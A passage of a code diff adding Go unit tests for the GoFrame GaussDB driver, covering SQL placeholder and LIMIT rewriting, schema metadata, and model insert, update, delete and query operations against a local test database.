||||
// Note: GaussDB (PostgreSQL 9.2) does not support ON CONFLICT syntax (added in PG 9.5)
|
||||
// GaussDB handles InsertIgnore at DoInsert level using MERGE statement
|
||||
sql := "INSERT IGNORE INTO users (name) VALUES ($1)"
|
||||
newSql, _, err := driver.DoFilter(ctx, nil, sql, nil)
|
||||
t.AssertNil(err)
|
||||
// GaussDB removes IGNORE keyword but doesn't add ON CONFLICT (not supported)
|
||||
t.Assert(newSql, "INSERT INTO users (name) VALUES ($1)")
|
||||
})
|
||||
}
|
||||
|
||||
// Test_DoFilter_PlaceholderConversion tests placeholder conversion
|
||||
func Test_DoFilter_PlaceholderConversion(t *testing.T) {
|
||||
var (
|
||||
ctx = gctx.New()
|
||||
driver = gaussdb.Driver{}
|
||||
)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Test ? placeholder conversion to $n
|
||||
sql := "SELECT * FROM users WHERE id = ? AND name = ?"
|
||||
newSql, _, err := driver.DoFilter(ctx, nil, sql, nil)
|
||||
t.AssertNil(err)
|
||||
t.Assert(newSql, "SELECT * FROM users WHERE id = $1 AND name = $2")
|
||||
})
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Test multiple placeholders
|
||||
sql := "INSERT INTO users (a, b, c, d, e) VALUES (?, ?, ?, ?, ?)"
|
||||
newSql, _, err := driver.DoFilter(ctx, nil, sql, nil)
|
||||
t.AssertNil(err)
|
||||
t.Assert(newSql, "INSERT INTO users (a, b, c, d, e) VALUES ($1, $2, $3, $4, $5)")
|
||||
})
|
||||
}
|
||||
|
||||
// Test_DoFilter_JsonbOperator tests JSONB operator handling
|
||||
func Test_DoFilter_JsonbOperator(t *testing.T) {
|
||||
var (
|
||||
ctx = gctx.New()
|
||||
driver = gaussdb.Driver{}
|
||||
)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Test jsonb ?| operator
|
||||
// The jsonb ? is first converted to $1, then restored to ?
|
||||
// So the next placeholder becomes $2
|
||||
sql := "SELECT * FROM users WHERE (data)::jsonb ?| ?"
|
||||
newSql, _, err := driver.DoFilter(ctx, nil, sql, nil)
|
||||
t.AssertNil(err)
|
||||
// After placeholder conversion, the ? in jsonb should be preserved
|
||||
t.Assert(newSql, "SELECT * FROM users WHERE (data)::jsonb ?| $2")
|
||||
})
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Test jsonb ?& operator
|
||||
sql := "SELECT * FROM users WHERE (data)::jsonb &? ?"
|
||||
newSql, _, err := driver.DoFilter(ctx, nil, sql, nil)
|
||||
t.AssertNil(err)
|
||||
t.Assert(newSql, "SELECT * FROM users WHERE (data)::jsonb &? $2")
|
||||
})
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Test jsonb ? operator
|
||||
sql := "SELECT * FROM users WHERE (data)::jsonb ? ?"
|
||||
newSql, _, err := driver.DoFilter(ctx, nil, sql, nil)
|
||||
t.AssertNil(err)
|
||||
t.Assert(newSql, "SELECT * FROM users WHERE (data)::jsonb ? $2")
|
||||
})
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Test combination of jsonb and regular placeholders
|
||||
sql := "SELECT * FROM users WHERE id = ? AND (data)::jsonb ?| ?"
|
||||
newSql, _, err := driver.DoFilter(ctx, nil, sql, nil)
|
||||
t.AssertNil(err)
|
||||
t.Assert(newSql, "SELECT * FROM users WHERE id = $1 AND (data)::jsonb ?| $3")
|
||||
})
|
||||
}
|
||||
|
||||
// Test_DoFilter_ComplexQuery tests complex queries with multiple features
|
||||
func Test_DoFilter_ComplexQuery(t *testing.T) {
|
||||
var (
|
||||
ctx = gctx.New()
|
||||
driver = gaussdb.Driver{}
|
||||
)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Test complex query with LIMIT and placeholders
|
||||
sql := "SELECT * FROM users WHERE status = ? AND age > ? LIMIT 5, 10"
|
||||
newSql, _, err := driver.DoFilter(ctx, nil, sql, nil)
|
||||
t.AssertNil(err)
|
||||
t.Assert(newSql, "SELECT * FROM users WHERE status = $1 AND age > $2 LIMIT 10 OFFSET 5")
|
||||
})
|
||||
}
|
||||
|
||||
// Test_Tables tests the Tables method
|
||||
func Test_Tables_Method(t *testing.T) {
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
tables, err := db.Tables(ctx)
|
||||
t.AssertNil(err)
|
||||
t.Assert(len(tables) >= 0, true)
|
||||
})
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Test with specific schema - use the test schema
|
||||
tables, err := db.Tables(ctx, "test")
|
||||
t.AssertNil(err)
|
||||
t.Assert(len(tables) >= 0, true)
|
||||
})
|
||||
}
|
||||
|
||||
// Test_OrderRandomFunction tests the OrderRandomFunction method
|
||||
func Test_OrderRandomFunction(t *testing.T) {
|
||||
table := createInitTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Test ORDER BY RANDOM()
|
||||
all, err := db.Model(table).OrderRandom().All()
|
||||
t.AssertNil(err)
|
||||
t.Assert(len(all), TableSize)
|
||||
})
|
||||
}
|
||||
|
||||
// Test_GetChars tests the GetChars method
|
||||
func Test_GetChars(t *testing.T) {
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
driver := gaussdb.Driver{}
|
||||
left, right := driver.GetChars()
|
||||
t.Assert(left, `"`)
|
||||
t.Assert(right, `"`)
|
||||
})
|
||||
}
|
||||
|
||||
// Test_New tests the New method
|
||||
func Test_New(t *testing.T) {
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
driver := gaussdb.New()
|
||||
t.AssertNE(driver, nil)
|
||||
})
|
||||
}
|
||||
|
||||
// Test_DoExec_NonIntPrimaryKey tests DoExec with non-integer primary key
|
||||
func Test_DoExec_NonIntPrimaryKey(t *testing.T) {
|
||||
// Create a table with UUID primary key
|
||||
tableName := "t_uuid_pk_test"
|
||||
_, err := db.Exec(ctx, `
|
||||
CREATE TABLE IF NOT EXISTS `+tableName+` (
|
||||
id uuid PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
name varchar(100)
|
||||
)
|
||||
`)
|
||||
if err != nil {
|
||||
// If gen_random_uuid is not available, skip this test
|
||||
t.Log("Skipping UUID test:", err)
|
||||
return
|
||||
}
|
||||
defer db.Exec(ctx, "DROP TABLE IF EXISTS "+tableName)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Insert with UUID primary key
|
||||
result, err := db.Model(tableName).Data(g.Map{
|
||||
"name": "test_user",
|
||||
}).Insert()
|
||||
t.AssertNil(err)
|
||||
|
||||
// LastInsertId should return error for non-integer primary key
|
||||
_, err = result.LastInsertId()
|
||||
// For UUID, LastInsertId is not supported
|
||||
t.AssertNE(err, nil)
|
||||
|
||||
// RowsAffected should still work
|
||||
affected, err := result.RowsAffected()
|
||||
t.AssertNil(err)
|
||||
t.Assert(affected, int64(1))
|
||||
})
|
||||
}
|
||||
|
||||
// Test_TableFields_WithSchema tests TableFields with specific schema
|
||||
func Test_TableFields_WithSchema(t *testing.T) {
|
||||
table := createTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Test with schema parameter
|
||||
fields, err := db.TableFields(ctx, table, "test")
|
||||
t.AssertNil(err)
|
||||
t.Assert(len(fields) > 0, true)
|
||||
})
|
||||
}
|
||||
|
||||
// Test_TableFields_UniqueKey tests TableFields with unique key constraint
|
||||
func Test_TableFields_UniqueKey(t *testing.T) {
|
||||
tableName := "t_unique_test"
|
||||
|
||||
// Create table with unique constraint
|
||||
_, err := db.Exec(ctx, `
|
||||
CREATE TABLE IF NOT EXISTS `+tableName+` (
|
||||
id bigserial PRIMARY KEY,
|
||||
email varchar(100) UNIQUE NOT NULL,
|
||||
name varchar(100)
|
||||
)
|
||||
`)
|
||||
if err != nil {
|
||||
t.Error(err)
|
||||
return
|
||||
}
|
||||
defer db.Exec(ctx, "DROP TABLE IF EXISTS "+tableName)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
fields, err := db.TableFields(ctx, tableName)
|
||||
t.AssertNil(err)
|
||||
|
||||
// Check primary key
|
||||
t.Assert(fields["id"].Key, "pri")
|
||||
|
||||
// Check unique key
|
||||
t.Assert(fields["email"].Key, "uni")
|
||||
})
|
||||
}
|
||||
339
contrib/drivers/gaussdb/gaussdb_z_unit_init_test.go
Normal file
339
contrib/drivers/gaussdb/gaussdb_z_unit_init_test.go
Normal file
@ -0,0 +1,339 @@
|
||||
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
|
||||
//
|
||||
// This Source Code Form is subject to the terms of the MIT License.
|
||||
// If a copy of the MIT was not distributed with this file,
|
||||
// You can obtain one at https://github.com/gogf/gf.
|
||||
|
||||
package gaussdb_test
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
_ "github.com/gogf/gf/contrib/drivers/gaussdb/v2"
|
||||
|
||||
"github.com/gogf/gf/v2/container/garray"
|
||||
"github.com/gogf/gf/v2/database/gdb"
|
||||
"github.com/gogf/gf/v2/frame/g"
|
||||
"github.com/gogf/gf/v2/os/gtime"
|
||||
"github.com/gogf/gf/v2/test/gtest"
|
||||
)
|
||||
|
||||
const (
|
||||
TableSize = 10
|
||||
TablePrefix = "t_"
|
||||
SchemaName = "test"
|
||||
CreateTime = "2018-10-24 10:00:00"
|
||||
)
|
||||
|
||||
var (
|
||||
db gdb.DB
|
||||
configNode gdb.ConfigNode
|
||||
ctx = context.TODO()
|
||||
)
|
||||
|
||||
func init() {
|
||||
configNode = gdb.ConfigNode{
|
||||
Link: `gaussdb:gaussdb:UTpass@1234@tcp(127.0.0.1:9950)/postgres`,
|
||||
Namespace: SchemaName, // Set the schema namespace
|
||||
}
|
||||
|
||||
// gaussdb only permit to connect to the designation database.
|
||||
// so you need to create the gaussdb database before you use orm
|
||||
gdb.AddConfigNode(gdb.DefaultGroupName, configNode)
|
||||
if r, err := gdb.New(configNode); err != nil {
|
||||
gtest.Fatal(err)
|
||||
} else {
|
||||
db = r
|
||||
}
|
||||
|
||||
// Create schema if not exists
|
||||
schemaTemplate := "CREATE SCHEMA IF NOT EXISTS %s"
|
||||
if _, err := db.Exec(ctx, fmt.Sprintf(schemaTemplate, SchemaName)); err != nil {
|
||||
gtest.Error(err)
|
||||
}
|
||||
}
|
||||
|
||||
func createTable(table ...string) string {
|
||||
return createTableWithDb(db, table...)
|
||||
}
|
||||
|
||||
func createInitTable(table ...string) string {
|
||||
return createInitTableWithDb(db, table...)
|
||||
}
|
||||
|
||||
func createTableWithDb(db gdb.DB, table ...string) (name string) {
|
||||
if len(table) > 0 {
|
||||
name = table[0]
|
||||
} else {
|
||||
name = fmt.Sprintf(`%s_%d`, TablePrefix+"test", gtime.TimestampNano())
|
||||
}
|
||||
|
||||
dropTableWithDb(db, name)
|
||||
|
||||
if _, err := db.Exec(ctx, fmt.Sprintf(`
|
||||
CREATE TABLE %s (
|
||||
id bigserial NOT NULL,
|
||||
passport varchar(45) NOT NULL,
|
||||
password varchar(32) NOT NULL,
|
||||
nickname varchar(45) NOT NULL,
|
||||
create_time timestamp NOT NULL,
|
||||
favorite_movie varchar[],
|
||||
favorite_music text[],
|
||||
numeric_values numeric[],
|
||||
decimal_values decimal[],
|
||||
PRIMARY KEY (id)
|
||||
) ;`, name,
|
||||
)); err != nil {
|
||||
gtest.Fatal(err)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func dropTable(table string) {
|
||||
dropTableWithDb(db, table)
|
||||
}
|
||||
|
||||
func createInitTableWithDb(db gdb.DB, table ...string) (name string) {
|
||||
name = createTableWithDb(db, table...)
|
||||
array := garray.New(true)
|
||||
for i := 1; i <= TableSize; i++ {
|
||||
array.Append(g.Map{
|
||||
"id": i,
|
||||
"passport": fmt.Sprintf(`user_%d`, i),
|
||||
"password": fmt.Sprintf(`pass_%d`, i),
|
||||
"nickname": fmt.Sprintf(`name_%d`, i),
|
||||
"create_time": gtime.NewFromStr(CreateTime).String(),
|
||||
})
|
||||
}
|
||||
|
||||
result, err := db.Insert(ctx, name, array.Slice())
|
||||
gtest.AssertNil(err)
|
||||
|
||||
n, e := result.RowsAffected()
|
||||
gtest.Assert(e, nil)
|
||||
gtest.Assert(n, TableSize)
|
||||
return
|
||||
}
|
||||
|
||||
func dropTableWithDb(db gdb.DB, table string) {
|
||||
if _, err := db.Exec(ctx, fmt.Sprintf("DROP TABLE IF EXISTS %s", table)); err != nil {
|
||||
gtest.Error(err)
|
||||
}
|
||||
}
|
||||
|
||||
// createAllTypesTable creates a table with all common PostgreSQL types for testing
|
||||
func createAllTypesTable(table ...string) string {
|
||||
return createAllTypesTableWithDb(db, table...)
|
||||
}
|
||||
|
||||
func createAllTypesTableWithDb(db gdb.DB, table ...string) (name string) {
|
||||
if len(table) > 0 {
|
||||
name = table[0]
|
||||
} else {
|
||||
name = fmt.Sprintf(`%s_%d`, TablePrefix+"all_types", gtime.TimestampNano())
|
||||
}
|
||||
|
||||
dropTableWithDb(db, name)
|
||||
|
||||
if _, err := db.Exec(ctx, fmt.Sprintf(`
|
||||
CREATE TABLE %s (
|
||||
-- Basic integer types
|
||||
id bigserial PRIMARY KEY,
|
||||
col_int2 int2 NOT NULL DEFAULT 0,
|
||||
col_int4 int4 NOT NULL DEFAULT 0,
|
||||
col_int8 int8 DEFAULT 0,
|
||||
col_smallint smallint,
|
||||
col_integer integer,
|
||||
col_bigint bigint,
|
||||
|
||||
-- Float types
|
||||
col_float4 float4 DEFAULT 0.0,
|
||||
col_float8 float8 DEFAULT 0.0,
|
||||
col_real real,
|
||||
col_double double precision,
|
||||
col_numeric numeric(10,2) NOT NULL DEFAULT 0.00,
|
||||
col_decimal decimal(10,2),
|
||||
|
||||
-- Character types
|
||||
col_char char(10) DEFAULT '',
|
||||
col_varchar varchar(100) NOT NULL DEFAULT '',
|
||||
col_text text,
|
||||
|
||||
-- Boolean type
|
||||
col_bool boolean NOT NULL DEFAULT false,
|
||||
|
||||
-- Date/Time types
|
||||
col_date date DEFAULT CURRENT_DATE,
|
||||
col_time time,
|
||||
col_timetz timetz,
|
||||
col_timestamp timestamp DEFAULT CURRENT_TIMESTAMP,
|
||||
col_timestamptz timestamptz,
|
||||
col_interval interval,
|
||||
|
||||
-- Binary type
|
||||
col_bytea bytea,
|
||||
|
||||
-- JSON types
|
||||
col_json json DEFAULT '{}',
|
||||
col_jsonb jsonb DEFAULT '{}',
|
||||
|
||||
-- UUID type
|
||||
col_uuid uuid,
|
||||
|
||||
-- Network types
|
||||
col_inet inet,
|
||||
col_cidr cidr,
|
||||
col_macaddr macaddr,
|
||||
|
||||
-- Array types - integers
|
||||
col_int2_arr int2[] DEFAULT '{}',
|
||||
col_int4_arr int4[] DEFAULT '{}',
|
||||
col_int8_arr int8[],
|
||||
|
||||
-- Array types - floats
|
||||
col_float4_arr float4[],
|
||||
col_float8_arr float8[],
|
||||
col_numeric_arr numeric[] DEFAULT '{}',
|
||||
col_decimal_arr decimal[],
|
||||
|
||||
-- Array types - characters
|
||||
col_varchar_arr varchar[] NOT NULL DEFAULT '{}',
|
||||
col_text_arr text[],
|
||||
col_char_arr char(10)[],
|
||||
|
||||
-- Array types - boolean
|
||||
col_bool_arr boolean[],
|
||||
|
||||
-- Array types - bytea
|
||||
col_bytea_arr bytea[],
|
||||
|
||||
-- Array types - date/time
|
||||
col_date_arr date[],
|
||||
col_timestamp_arr timestamp[],
|
||||
|
||||
-- Array types - JSON
|
||||
col_jsonb_arr jsonb[],
|
||||
|
||||
-- Array types - UUID
|
||||
col_uuid_arr uuid[]
|
||||
);
|
||||
|
||||
-- Add comments for columns
|
||||
COMMENT ON TABLE %s IS 'Test table with all PostgreSQL types';
|
||||
COMMENT ON COLUMN %s.id IS 'Primary key ID';
|
||||
COMMENT ON COLUMN %s.col_int2 IS 'int2 type (smallint)';
|
||||
COMMENT ON COLUMN %s.col_int4 IS 'int4 type (integer)';
|
||||
COMMENT ON COLUMN %s.col_int8 IS 'int8 type (bigint)';
|
||||
COMMENT ON COLUMN %s.col_numeric IS 'numeric type with precision';
|
||||
COMMENT ON COLUMN %s.col_varchar IS 'varchar type';
|
||||
COMMENT ON COLUMN %s.col_bool IS 'boolean type';
|
||||
COMMENT ON COLUMN %s.col_timestamp IS 'timestamp type';
|
||||
COMMENT ON COLUMN %s.col_json IS 'json type';
|
||||
COMMENT ON COLUMN %s.col_jsonb IS 'jsonb type';
|
||||
COMMENT ON COLUMN %s.col_int2_arr IS 'int2 array type (_int2)';
|
||||
COMMENT ON COLUMN %s.col_int4_arr IS 'int4 array type (_int4)';
|
||||
COMMENT ON COLUMN %s.col_int8_arr IS 'int8 array type (_int8)';
|
||||
COMMENT ON COLUMN %s.col_numeric_arr IS 'numeric array type (_numeric)';
|
||||
COMMENT ON COLUMN %s.col_varchar_arr IS 'varchar array type (_varchar)';
|
||||
COMMENT ON COLUMN %s.col_text_arr IS 'text array type (_text)';
|
||||
`, name,
|
||||
name, name, name, name, name, name, name, name, name, name, name, name, name, name, name, name, name)); err != nil {
|
||||
gtest.Fatal(err)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// createInitAllTypesTable creates and initializes a table with all common PostgreSQL types
|
||||
func createInitAllTypesTable(table ...string) string {
|
||||
return createInitAllTypesTableWithDb(db, table...)
|
||||
}
|
||||
|
||||
func createInitAllTypesTableWithDb(db gdb.DB, table ...string) (name string) {
|
||||
name = createAllTypesTableWithDb(db, table...)
|
||||
|
||||
// Insert test data
|
||||
for i := 1; i <= TableSize; i++ {
|
||||
var sql strings.Builder
|
||||
|
||||
// Write INSERT statement header
|
||||
sql.WriteString(fmt.Sprintf(`INSERT INTO %s (
|
||||
col_int2, col_int4, col_int8, col_smallint, col_integer, col_bigint,
|
||||
col_float4, col_float8, col_real, col_double, col_numeric, col_decimal,
|
||||
col_char, col_varchar, col_text, col_bool,
|
||||
col_date, col_time, col_timestamp,
|
||||
col_json, col_jsonb,
|
||||
col_bytea,
|
||||
col_uuid,
|
||||
col_int2_arr, col_int4_arr, col_int8_arr,
|
||||
col_float4_arr, col_float8_arr, col_numeric_arr, col_decimal_arr,
|
||||
col_varchar_arr, col_text_arr, col_bool_arr, col_bytea_arr, col_date_arr, col_timestamp_arr, col_jsonb_arr, col_uuid_arr
|
||||
) VALUES (`, name))
|
||||
|
||||
// Integer types: col_int2, col_int4, col_int8, col_smallint, col_integer, col_bigint
|
||||
sql.WriteString(fmt.Sprintf("%d, %d, %d, %d, %d, %d, ",
|
||||
i, i*10, i*100, i, i*10, i*100))
|
||||
|
||||
// Float types: col_float4, col_float8, col_real, col_double, col_numeric, col_decimal
|
||||
sql.WriteString(fmt.Sprintf("%d.5, %d.5, %d.5, %d.5, %d.99, %d.99, ",
|
||||
i, i, i, i, i, i))
|
||||
|
||||
// Character types: col_char, col_varchar, col_text, col_bool
|
||||
sql.WriteString(fmt.Sprintf("'char_%d', 'varchar_%d', 'text_%d', %t, ",
|
||||
i, i, i, i%2 == 0))
|
||||
|
||||
// Date/Time types: col_date, col_time, col_timestamp
|
||||
// Calculate day as integer in range 1-28; 28 is used because it is the maximum day value safe for all months to avoid date validity issues.
|
||||
// %02d in fmt.Sprintf ensures two-digit zero-padded format
|
||||
dayOfMonth := (i-1)%28 + 1
|
||||
sql.WriteString(fmt.Sprintf("'2024-01-%02d', '10:00:%02d', '2024-01-%02d 10:00:00', ",
|
||||
dayOfMonth, (i-1)%60, dayOfMonth))
|
||||
|
||||
// JSON types: col_json, col_jsonb
|
||||
sql.WriteString(fmt.Sprintf(`'{"key": "value%d"}', '{"key": "value%d"}', `, i, i))
|
||||
|
||||
// Bytea type: col_bytea
|
||||
sql.WriteString(`E'\\xDEADBEEF', `)
|
||||
|
||||
// UUID type: col_uuid (use %x for hex representation, padded to ensure valid UUID)
|
||||
sql.WriteString(fmt.Sprintf("'550e8400-e29b-41d4-a716-4466554400%02x', ", i))
|
||||
|
||||
// Integer array types: col_int2_arr, col_int4_arr, col_int8_arr
|
||||
sql.WriteString(fmt.Sprintf("'{1, 2, %d}', '{10, 20, %d}', '{100, 200, %d}', ",
|
||||
i, i, i))
|
||||
|
||||
// Float array types: col_float4_arr, col_float8_arr, col_numeric_arr, col_decimal_arr
|
||||
sql.WriteString(fmt.Sprintf("'{1.1, 2.2, %d.3}', '{1.1, 2.2, %d.3}', '{1.11, 2.22, %d.33}', '{1.11, 2.22, %d.33}', ",
|
||||
i, i, i, i))
|
||||
|
||||
// Character array types: col_varchar_arr, col_text_arr
|
||||
sql.WriteString(fmt.Sprintf(`'{"a", "b", "c%d"}', '{"x", "y", "z%d"}', `, i, i))
|
||||
|
||||
// Boolean array type: col_bool_arr
|
||||
sql.WriteString(fmt.Sprintf("'{true, false, %t}', ", i%2 == 0))
|
||||
|
||||
// Bytea array type: col_bytea_arr (use ARRAY syntax for bytea)
|
||||
sql.WriteString(`ARRAY[E'\\xDEADBEEF', E'\\xCAFEBABE']::bytea[], `)
|
||||
|
||||
// Date array type: col_date_arr
|
||||
sql.WriteString(fmt.Sprintf(`'{"2024-01-%02d", "2024-01-%02d"}', `, dayOfMonth, (dayOfMonth%28)+1))
|
||||
|
||||
// Timestamp array type: col_timestamp_arr
|
||||
sql.WriteString(fmt.Sprintf(`'{"2024-01-%02d 10:00:00", "2024-01-%02d 11:00:00"}', `, dayOfMonth, dayOfMonth))
|
||||
|
||||
// JSONB array type: col_jsonb_arr (store as text array first, then cast to jsonb array)
|
||||
sql.WriteString(`ARRAY['{"key": "value1"}', '{"key": "value2"}']::jsonb[], `)
|
||||
|
||||
// UUID array type: col_uuid_arr
|
||||
sql.WriteString(fmt.Sprintf("ARRAY['550e8400-e29b-41d4-a716-4466554400%02x'::uuid, '6ba7b810-9dad-11d1-80b4-00c04fd430c8'::uuid]", i))
|
||||
|
||||
// Close VALUES
|
||||
sql.WriteString(")")
|
||||
|
||||
if _, err := db.Exec(ctx, sql.String()); err != nil {
|
||||
gtest.Fatal(err)
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
864
contrib/drivers/gaussdb/gaussdb_z_unit_model_test.go
Normal file
864
contrib/drivers/gaussdb/gaussdb_z_unit_model_test.go
Normal file
@ -0,0 +1,864 @@
|
||||
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
|
||||
//
|
||||
// This Source Code Form is subject to the terms of the MIT License.
|
||||
// If a copy of the MIT was not distributed with this file,
|
||||
// You can obtain one at https://github.com/gogf/gf.
|
||||
|
||||
package gaussdb_test
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"testing"
|
||||
|
||||
"github.com/gogf/gf/v2/database/gdb"
|
||||
"github.com/gogf/gf/v2/frame/g"
|
||||
"github.com/gogf/gf/v2/os/gtime"
|
||||
"github.com/gogf/gf/v2/test/gtest"
|
||||
)
|
||||
|
||||
func Test_Model_Insert(t *testing.T) {
|
||||
table := createTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
user := db.Model(table)
|
||||
result, err := user.Data(g.Map{
|
||||
"id": 1,
|
||||
"uid": 1,
|
||||
"passport": "t1",
|
||||
"password": "25d55ad283aa400af464c76d713c07ad",
|
||||
"nickname": "name_1",
|
||||
"create_time": gtime.Now().String(),
|
||||
}).Insert()
|
||||
t.AssertNil(err)
|
||||
n, _ := result.RowsAffected()
|
||||
t.Assert(n, 1)
|
||||
|
||||
result, err = db.Model(table).Data(g.Map{
|
||||
"id": "2",
|
||||
"uid": "2",
|
||||
"passport": "t2",
|
||||
"password": "25d55ad283aa400af464c76d713c07ad",
|
||||
"nickname": "name_2",
|
||||
"create_time": gtime.Now().String(),
|
||||
}).Insert()
|
||||
t.AssertNil(err)
|
||||
n, _ = result.RowsAffected()
|
||||
t.Assert(n, 1)
|
||||
|
||||
type User struct {
|
||||
Id int `gconv:"id"`
|
||||
Uid int `gconv:"uid"`
|
||||
Passport string `json:"passport"`
|
||||
Password string `gconv:"password"`
|
||||
Nickname string `gconv:"nickname"`
|
||||
CreateTime *gtime.Time `json:"create_time"`
|
||||
}
|
||||
// Model inserting.
|
||||
result, err = db.Model(table).Data(User{
|
||||
Id: 3,
|
||||
Uid: 3,
|
||||
Passport: "t3",
|
||||
Password: "25d55ad283aa400af464c76d713c07ad",
|
||||
Nickname: "name_3",
|
||||
CreateTime: gtime.Now(),
|
||||
}).Insert()
|
||||
t.AssertNil(err)
|
||||
n, _ = result.RowsAffected()
|
||||
t.Assert(n, 1)
|
||||
value, err := db.Model(table).Fields("passport").Where("id=3").Value() // model value
|
||||
t.AssertNil(err)
|
||||
t.Assert(value.String(), "t3")
|
||||
|
||||
result, err = db.Model(table).Data(&User{
|
||||
Id: 4,
|
||||
Uid: 4,
|
||||
Passport: "t4",
|
||||
Password: "25d55ad283aa400af464c76d713c07ad",
|
||||
Nickname: "T4",
|
||||
CreateTime: gtime.Now(),
|
||||
}).Insert()
|
||||
t.AssertNil(err)
|
||||
n, _ = result.RowsAffected()
|
||||
t.Assert(n, 1)
|
||||
value, err = db.Model(table).Fields("passport").Where("id=4").Value()
|
||||
t.AssertNil(err)
|
||||
t.Assert(value.String(), "t4")
|
||||
|
||||
result, err = db.Model(table).Where("id>?", 1).Delete() // model delete
|
||||
t.AssertNil(err)
|
||||
n, _ = result.RowsAffected()
|
||||
t.Assert(n, 3)
|
||||
})
|
||||
}
|
||||
|
||||
func Test_Model_One(t *testing.T) {
|
||||
table := createTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
type User struct {
|
||||
Id int
|
||||
Passport string
|
||||
Password string
|
||||
Nickname string
|
||||
CreateTime string
|
||||
}
|
||||
data := User{
|
||||
Id: 1,
|
||||
Passport: "user_1",
|
||||
Password: "pass_1",
|
||||
Nickname: "name_1",
|
||||
CreateTime: "2020-10-10 12:00:01",
|
||||
}
|
||||
_, err := db.Model(table).Data(data).Insert()
|
||||
t.AssertNil(err)
|
||||
|
||||
one, err := db.Model(table).WherePri(1).One() // model one
|
||||
t.AssertNil(err)
|
||||
t.Assert(one["passport"], data.Passport)
|
||||
t.Assert(one["create_time"], data.CreateTime)
|
||||
t.Assert(one["nickname"], data.Nickname)
|
||||
})
|
||||
}
|
||||
|
||||
func Test_Model_All(t *testing.T) {
|
||||
table := createInitTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
result, err := db.Model(table).All()
|
||||
t.AssertNil(err)
|
||||
t.Assert(len(result), TableSize)
|
||||
})
|
||||
}
|
||||
|
||||
func Test_Model_Delete(t *testing.T) {
|
||||
table := createInitTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
result, err := db.Model(table).Where("id", "2").Delete()
|
||||
t.AssertNil(err)
|
||||
n, _ := result.RowsAffected()
|
||||
t.Assert(n, 1)
|
||||
})
|
||||
}
|
||||
|
||||
func Test_Model_Update(t *testing.T) {
|
||||
table := createInitTable()
|
||||
defer dropTable(table)
|
||||
|
||||
// Update + Data(string)
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
result, err := db.Model(table).Data("passport='user_33'").Where("passport='user_3'").Update()
|
||||
t.AssertNil(err)
|
||||
n, _ := result.RowsAffected()
|
||||
t.Assert(n, 1)
|
||||
})
|
||||
|
||||
// Update + Fields(string)
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
result, err := db.Model(table).Fields("passport").Data(g.Map{
|
||||
"passport": "user_44",
|
||||
"none": "none",
|
||||
}).Where("passport='user_4'").Update()
|
||||
t.AssertNil(err)
|
||||
n, _ := result.RowsAffected()
|
||||
t.Assert(n, 1)
|
||||
})
|
||||
}
|
||||
|
||||
func Test_Model_Array(t *testing.T) {
|
||||
table := createInitTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
all, err := db.Model(table).Where("id", g.Slice{1, 2, 3}).All()
|
||||
t.AssertNil(err)
|
||||
t.Assert(all.Array("id"), g.Slice{1, 2, 3})
|
||||
t.Assert(all.Array("nickname"), g.Slice{"name_1", "name_2", "name_3"})
|
||||
})
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
array, err := db.Model(table).Fields("nickname").Where("id", g.Slice{1, 2, 3}).Array()
|
||||
t.AssertNil(err)
|
||||
t.Assert(array, g.Slice{"name_1", "name_2", "name_3"})
|
||||
})
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
array, err := db.Model(table).Array("nickname", "id", g.Slice{1, 2, 3})
|
||||
t.AssertNil(err)
|
||||
t.Assert(array, g.Slice{"name_1", "name_2", "name_3"})
|
||||
})
|
||||
}
|
||||
|
||||
func Test_Model_Scan(t *testing.T) {
|
||||
table := createInitTable()
|
||||
defer dropTable(table)
|
||||
|
||||
type User struct {
|
||||
Id int
|
||||
Passport string
|
||||
Password string
|
||||
NickName string
|
||||
CreateTime gtime.Time
|
||||
}
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
var users []User
|
||||
err := db.Model(table).Scan(&users)
|
||||
t.AssertNil(err)
|
||||
t.Assert(len(users), TableSize)
|
||||
})
|
||||
}
|
||||
|
||||
func Test_Model_Count(t *testing.T) {
|
||||
table := createInitTable()
|
||||
defer dropTable(table)
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
count, err := db.Model(table).Count()
|
||||
t.AssertNil(err)
|
||||
t.Assert(count, int64(TableSize))
|
||||
})
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
